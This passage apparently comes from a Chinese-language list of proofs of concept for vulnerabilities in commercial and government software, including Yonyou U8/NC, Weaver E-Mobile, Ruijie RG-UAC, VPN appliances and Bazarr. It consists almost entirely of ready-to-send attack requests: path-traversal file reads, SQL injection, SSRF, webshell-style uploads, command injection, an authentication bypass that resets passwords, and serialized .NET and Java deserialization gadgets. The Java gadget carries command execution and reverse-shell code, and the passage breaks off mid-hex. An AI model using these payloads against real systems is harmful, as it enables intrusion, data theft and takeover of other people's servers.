AAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAA
AAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJ
TwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRye
QcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOY
W1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWF
saXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeX
RlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2
V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2
NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW
3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1i
bHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpem
F0aW9uSG9sZGVyBwAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ2
5hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQ
lTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0Z
VtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAA
ACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3Nlb
WJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ
XlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVud
W1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cm
U9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVm
Vyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkz
NGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAA
Ak+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHl
wZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW
0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3Jsa
WIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNW
M1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhb
CwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZ
W5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wL
CBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwODldXSwgbXNj
b3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNz
dhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2V
uZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjA
uMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GY
wAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5
Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3I
oKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0Z
W0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsa
WNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIA
AAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1
lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b

```
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2
lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGU
wODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1
uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAA
AAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAA
AAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29s
ZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0Z
W0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3J
saWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhN
WM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJ
hbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpY
iwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Yz
U2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmlj
LklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdW
x0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9
DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJ
yZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAA
AMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIE
N1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3Rlb
S5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVib
GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN
0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AA
AApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT
2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3l
zdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAIAAAAJggA
AAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfaw
AAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=</strFormAssignment>
          <isBase>0</isBase>
      </GetChildFormAndEntityList>
   </soap:Body>
</soap:Envelope>
```

34. Bazarr v1.4.3 swaggerui 接口任意文件读取漏洞(CVE-2024-40348)

```
GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
```

35. 用友 U8Cloud MeasQueryConditionFrameAction 接口存在 SQL 注入漏洞

```
GET
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:5%27--+&_HASH_ID={HASH_ID} HTTP/1.1
Host: {{Hostname}}
```

36.泛微 E-Mobile installOperate.do SSRF 漏洞

```
GET /install/installOperate.do?svrurl=http://dnslog.cn HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q
```

37.云课网校系统文件上传漏洞

```
POST /api/uploader/uploadImage HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLZbmKeasWgo2gPtU

------WebKitFormBoundaryLZbmKeasWgo2gPtU
Content-Disposition: form-data; name="file"; filename="1G3311040N.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundaryLZbmKeasWgo2gPtU--
```

38.润乾报表 InputServlet 接口存在文件上传漏洞

```
POST /InputServlet?action=12 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=--------------------------170005680039721412137562
Accept-Encoding: gzip, deflate, br
Content-Length: 2401

----------------------------170005680039721412137562
Content-Disposition: form-data; name="upsize"

1024
----------------------------170005680039721412137562
Content-Disposition: form-data; name="file"; filename="/\..\\..\2.jsp"
Content-Type: image/png

11111
----------------------------170005680039721412137562--
```

39.明源云 ERP 系统 ApiUpdate.ashx 任意文件上传漏洞

```
POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0\xd1\xd6\xb8\xc0\xae\xa4\xe1-\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}
```

40.启明星辰-天清汉马 VPN download 接口 ostype 参数任意文件读取漏洞

```
GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
Host: ip
```

41.科拓全智能停车收费系统 Webservice.asmx 存在任意文件上传

```
POST /Webservice.asmx HTTP/1.1
Host: ip
Content-Type: text/xml; charset=utf-8
Content-Length: 455
SOAPAction: "http://tempuri.org/UploadResume"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <UploadResume xmlns="http://tempuri.org/">
      <ip>1</ip>
      <fileName>../../../../test7.aspx</fileName>
      <fileFlow>dGVzdA==</fileFlow>
      <tag>3</tag>
    </UploadResume>
  </soap:Body>
</soap:Envelope>
```

42.奇安信网神 SecSSL 3600 VPN Cookie 权限绕过 导致任意用户密码修改漏洞

```
POST /changepass.php?type=2 HTTP/1.1
host:
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff;
last_step_param={"this_name":"test","subAuthId":"1"}
old_pass=&password=Test123!@&repassword=Test123!@
```

43.赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

```
GET /BaseModule/ReportManage/DownloadBuilder?filename=/../web.config
Host: {{Hostname}}
```

44.赛蓝企业管理系统 ReadTxtLog 任意文件读取漏洞

```
GET /BaseModule/SysLog/ReadTxtLog?FileName=../XmlConfig/database.config HTTP/1.1
Host: {{Hostname}}
```

45.锐捷 RG-UAC 统一上网行为管理与审计系统 static_convert.php 命令注入漏洞

```
GET
/view/IPV6/naborTable/static_convert.php?blocks[0]=||%20%20echo%20%27pstvamqlkzrgslfilwvf%27%20>>%20/var/www/html/rrlmkkyopirhaviko.txt%0A&_HASH_ID={HASH_ID} HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:10
```

46.数字通云平台智慧政务 OA-PayslipUser 存在 SQL 注入漏洞

```
GET
/payslip/search/index/userid/time/time?PayslipUser[user_id]=%28SELECT+4655+FROM+%28SELECT%28SLEEP%285%29%29%29usQE%29 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
```

47.用友 U8 CRM import.php 任意文件上传漏洞

```
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye0z8QbHs79gL8vW5
```

```
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="xfile"; filename="11.xls"

<?php phpinfo();?>
------WebKitFormBoundarye0z8QbHs79gL8vW5
Content-Disposition: form-data; name="combo"

help.php
------WebKitFormBoundarye0z8QbHs79gL8vW5--
```

48.多个用友 NC 产品全系列 LoggingConfigServlet RCE 漏洞

```
POST /service/ §~cc/nc.bs.logging.config.LoggingConfigServlet§ HTTP/1.1
Host: {{Hostname}}
User-Agent:Mozilla/4.0(compatible; MSIE 6.0;Windows NT 5.1;
SV1;QQDownload732;.NET4.0C;.NET4.0E)
Cmd: whoami
Content-Type: application/x-gzip
Accept-Encoding: gzip, deflate, br

{{hex_decode('aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b734
0300007870770c000000013f4000000000000017372003 46f72672e6170616368652e636f6d6d6f6
e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b
39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d6170
74000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e617061636865
2e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e791094
0300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c6
56374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6
d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f7
26d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f
6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b787
07572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e54726
16e73666f726d65723bbd562af1d83418990200007870000000077372003b6f72672e6170616368
652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e7454
72616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e000378
707672002a6f72672e6d6f7a696c6c612e6a617661736372697074 2e446566696e696e67436c617
3734c6f6164657200000000000000000000000078707372003a6f72672e6170616368652e636f6d6d
6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f72
6d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a
6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5
b000b69506172616d5479706573740012 5b4c6a6176612f6c616e672f436c6173733b7870757200
```

135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000017572 0
0125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400 1
66765744465636c61726564436f6e7374727563746f727571007e001a000000017671007e001a73
71007e00137571007e00180000000017571007e00180000000074000b6e6577496e7374616e6365
7571007e001a000000017671007e00187371007e00137571007e00180000000274000241347572
00025b42acf317f8060854e002000078700000175 1cafebabe00000031016b0a001d00920a00440
0930a004400940a001d00950800960a001b00970a009800990a0098009a07009b0a0044009c080
08c0a0020009d08009e08009f0700a00800a10800a20700a30a001b00a40800a50800a60700a70b
001600a80b001600a90800aa0800ab0700ac0a001b00ad0700ae0a00af00b00800b10700b20800
b30a007e00b40a002000b50800b609002600b70700b80a002600b90800ba0a007e00bb0a001b00
bc0800bd0700be0a001b00bf0800c00700c10800c20800c30a001b00c40700c50a004400c60a00c
700bb0800c80a002000c90800ca0a002000cb0800cc0a002000cd0a002000ce0800cf0a002000d00
800d109007e00d20a002600d30a002600d409007e00d50700d60a004400d70a004400d808008d
0800d90a007e00da0800db0a00dc00dd0a002000de0800df0800e00800e10700e20a005000920a
005000e30800e40a005000e50800e60800e70800e80800e90a00ea00eb0a00ea00ec0700ed0a00
ee00ef0a005b00f00800f10a005b00f20a005b00f30a005b00f40a00ee00f50a00ee00f60a002f00e5
0800f70a002000f80800f90a00ea00fa0700fb0a002600fc0a006900fd0a006900ef0a00ee00fe0a00
6900fe0a006900ff0a010001010a010001020a010301040a01030105050000000000000320a004
401060a00ee01070a006901080801090a002f010a08010b08010c0a007e010d07010e010002697
00100124c6a6176612f6c616e672f537472696e673b010004706f72740100134c6a6176612f6c616
e672f496e74656765723b0100063c696e69743e0100032829560100044436f646501000f4c696e65
4e756d6265725461626c6501000a457863657074696f6e730100096c6f6164436c6173730100252
84c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100076
57865637574650100262 84c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672
f537472696e673b0100046578656301000772657665727365010039284c6a6176612f6c616e672f
537472696e673b4c6a6176612f6c616e672f496e74656765723b294c6a6176612f6c616e672f5374
72696e673b01000372756e01000a536f7572636546696c6501000741342e6a6176610c00830084
0c010f01100c011101120c011301140100077468726561647 30c011501160701170c011801190c0
11a011b0100135b4c6a6176612f6c616e672f5468726561643b0c011c011d0c011e011f010004687
474700100067461726765740100126a6176612f6c616e672f52756e6e61626c6501000674686973
243001000768616e646c657201001e6a6176612f6c616e672f4e6f537563684669656c644578636
57074696f6e0c01200114010006676c6f62616c01000a70726f636573736f727301000e6a6176612
f7574696c2f4c6973740c012101220c011a012301000372657101000b676574526573706f6e7365
01000f6a6176612f6c616e672f436c6173730c012401250100106a6176612f6c616e672f4f626a656
3740701260c012701280100096765744865616465720100106a6176612f6c616e672f537472696e
67010003636d640c008a008b0c0129012a0100097365745374617475730c012b012c0100116a61
76612f6c616e672f496e74656765720c0083012d0100246f72672e6170616368652e746f6d63617
42e7574696c2e6275662e427974654368756e6b0c008800890c012e012f0100087365744279746
5730100025b420c013001250100076 46f57726974650100136a6176612f6c616e672f4578636570
74696f6e0100136a6176612e6e696f2e427974654275666665720100047772617 00c01310089010
0206a6176612f6c616e672f436c6173734e6f74466f756e6445786365707 4696f6e0c01320133070
1340100000c013501360100106 36f6d6d616e64206e6f74206e756c6c0c0137011d010005232323
23230c013801390c013a013b0100013a0c013c013d010022636f6d6d616e6420726576657273652
0686f737420666f726d6174206572726f72210c007f00800c013e013f0c014001410c00810082010

0106a6176612f6c616e672f5468726561640c008301420c0143008401000540404040400c008c00
8b0100076f732e6e616d650701440c0145008b0c0146011d01000377696e01000470696e670100
022d6e0100176a6176612f6c616e672f537472696e674275696c6465720c01470148010005202d6
e20340c0149011d0100022f63010005202d74203401000273680100022d6307014a0c014b014c0c
008c014d0100116a6176612f7574696c2f5363616e6e657207014e0c014f01500c0083015101000
25c610c015201530c015401550c0156011d0c015701500c015800840100072f62696e2f73680c00
830159010007636d642e6578650c008c015a01000f6a6176612f6e65742f536f636b65740c015b01
220c0083015c0c015d015e0c015f01550701600c016101220c016201220701630c0164012d0c016
500840c016601670c016801220c0169008401001d726576657273652065786563757465206572
726f722c206d7367202d3e0c016a011d010001210100137265766572736520657865637574652065727
6b210c008d008e010002413401000d63757272656e7454687265616401001428294c6a6176612f
6c616e672f5468726561643b01000e67657454687265616447726f757001001928294c6a6176612
f6c616e672f54687265616447726f75703b010008676574436c6173730100132829 4c6a6176612f6
c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f
6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100
176a6176612f6c616e672f7265666c6563742f4669656c6401000d7365744163636573737369626c6
5010004285a29560100036765740100262 84c6a6176612f6c616e672f4f626a6563743b294c6a61
76612f6c616e672f4f626a6563743b0100076765744e616d6501001428294c6a6176612f6c616e67
2f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f436861725365
7175656e63653b295a01000d6765745375706572636c6173730100047369 7a6501000328294901
00152849294c6a6176612f6c616e672f4f626a6563743b0100096765744d6574686f64010040284c
6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176
612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c656
3742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5
b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b010008
6765744279746573010004282 95b42010004545950450100114c6a6176612f6c616e672f436c617
3733b010004284929560100 0b6e6577496e7374616e636501001428294c6a6176612f6c616e672f
4f626a6563743b0100116765744465636c617265644d6574686f64010007666f724e616d6501001
5676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6
173734c6f616465723b0100156a6176612f6c616e672f436c6173734c6f616465720100066571756
16c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100047472696d01000a737461
72747357697468010015284c6a6176612f6c616e672f537472696e673b295a0100077265706c616
365010044284c6a6176612f6c616e672f4368617253657175656e63653b4c6a6176612f6c616e672
f4368617253657175656e63653b294c6a6176612f6c616e672f537472696e673b01000573706c69
74010027284c6a6176612f6c616e672f537472696e673b295b4c6a6176612f6c616e672f53747269
6e673b0100087061727365496e74010015284c6a6176612f6c616e672f537472696e673b2949010
00776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010017284c6a6
176612f6c616e672f52756e6e61626c653b2956010005737461727401001 06a6176612f6c616e67
2f53797374656d01000b67657450726f706572747901000b746f4c6f776572436173650100066617
070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537
472696e674275696c6465723b010008746f537472696e670100116a6176612f6c616e672f52756e
74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d6
53b010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f6
36573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265

616d01001728294c6a6176612f696f2f496e70757453747265616d3b010018284c6a6176612f696f
2f496e70757453747265616d3b295601000c75736544656c696d69746572010027284c6a617661
2f6c616e672f537472696e673b294c6a6176612f7574696c2f5363616e6e65723b0100076861734e
65787401000328295a0100046e65787401000e6765744572726f7253747265616d010007646573
74726f79010015284c6a6176612f6c616e672f537472696e673b2956010027284c6a6176612f6c61
6e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b010008696e7456616c75
65010016284c6a6176612f6c616e672f537472696e673b49295601000f6765744f75747075745374
7265616d01001828294c6a6176612f696f2f4f75747075745374726f5616d3b0100086973436c6f73
65640100136a6176612f696f2f496e70757453747265616d010009617661696c61626c650100047
26561640100146a6176612f696f2f4f75747075745374726f5616d0100057772697465010005666c
757368010005736c656570010004284a29560100096578697456616c7565010005636c6f736501
000a6765744d6573736167650021007e001d0001000f00020002007f00800000000020081008200
0000060001008300840002008500000 3d80008001100000 2982ab70001b80002b600034c2bb600
041205b600064d2c04b600072c2bb60008c00009c000094e03360415042dbea2026a2d1504323a
051905c70006a702561905b6000a3a061906120bb6000c9a000d1906120db6000c9a0006a70238
1905b60004120eb600064d2c04b600072c1905b600083a071907c1000f9a0006a702151907b600
041210b600064d2c04b600072c1907b600083a071907b600041211b600064da700163a081907b6
0004b60013b600131211b600064d2c04b600072c1907b600083a071907b60004b600131214b600
064da700103a081907b600041214b600064d2c04b600072c1907b600083a071907b600041215b6
00064d2c04b600072c1907b60008c00016c000163a0803360915091908b900170100a2016f19081
509b9001802003a0a190ab600041219b600064d2c04b600072c190ab600083a0b190bb60004121
a03bd001bb6001c190b03bd001db6001e3a0c190bb60004121f04bd001b5903122053b6001c190
b04bd001d5903122153b6001ec000203a0d190dc70006a700ff2a190db60022b600233a0e190cb6
0004122404bd001b5903b2002553b6001c190c04bd001d5903bb0026591100c8b7002753b6001e
572a1228b600293a0f190fb6002a3a07190f122b06bd001b5903122c535904b20025535905b2002
553b6002d190706bd001d5903190e535904bb00265903b70027535905bb002659190ebeb70027
53b6001e57190cb60004122e04bd001b5903190f53b6001c190c04bd001d5903190753b6001e57
a7004f3a0f2a1230b600293a101910123104bd001b5903122c53b6002d191004bd001d5903190e
53b6001e3a07190cb60004122e04bd001b5903191053b6001c190c04bd001d5903190753b6001e
57a70017840901a7fe8ba700083a06a70003840401a7fd95b10008009700a200a5001200c500d30
0d6001201bd02310234002f0036003b028c002f003e0059028c002f005c007c028c002f007f02800
28c002f02830289028c002f00010086000000ee003b0000000a0004000b000b000c0015000d001a
000e00260010003000110036001 3003e001400450015005c001600670017006c00180074001900
7f001a008a001b008f001c0097001e00a2002100a5001f00a7002000b8002200bd002300c500250
0d3002800d6002600d8002700e3002900e8002a00f0002b00fb002c0100002d010e002e011d002f
012800300133003101380032014000330159003401 7f00350184003601870038019200 3901bd00
3b01c5003c01cc003d020f003e023100430234003f02360040023e0041025e00420280004402830
02e02890049028c0046028e00480291001002970 04b00870000000400010 02f000100880089000
2008500000039000200030000001 12bb80032b04db80002b600342bb60035b000010000000400
0500330001008600000000e0003000000500005005100060052008700000004000100330001008a
008b00010085000000b5000400400000006d2bc6000c12362bb600379900061238b02bb600394c
